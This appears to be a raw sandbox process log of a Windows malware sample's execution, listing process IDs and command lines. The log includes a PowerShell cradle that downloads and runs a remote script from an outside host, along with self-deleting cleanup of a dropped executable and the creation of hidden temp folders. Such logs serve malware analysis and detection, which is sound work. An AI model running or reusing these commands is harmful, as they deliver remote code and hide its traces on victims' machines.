cmd.exe "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://magerint.com/js/debug2.ps1')"
2496powershell.exe powershell -command IEX(New-Object Net.Webclient).DownloadString('https://magerint.com/js/debug2.ps1')
2628cmd.exe "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\test22\AppData\Roaming\postmon.exe" >> NUL
2676PING.EXE ping 127.0.0.1
2820mode.com mode con:cols=0080 lines=0025
2564cmd.exe C:\Windows\system32\cmd.exe /c title System32
2672cmd.exe C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\myfiles" mkdir "C:\Users\test22\AppData\Local\Temp\myfiles"
2780cmd.exe C:\Windows\system32\cmd.exe /c if not exist "C:\Users\test22\AppData\Local\Temp\wtmpd" mkdir "C:\Users\test22\AppData\Local\Temp\wtmpd"
2844attrib.exe attrib +h C:\Users\test22\AppData\Local\Temp\wtmpd
2964cmd.exe C:\Windows\system32\cmd.exe /c echo:0>C:\Users\test22\AppData\Local\Temp\i6.t
3032cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\test22\AppData\Local\Temp\i6.bat
1668cmd.exe C:\Windows\system32\cmd.exe /c
1836cmd.exe C:\Windows\system32\cmd.exe /c pause
508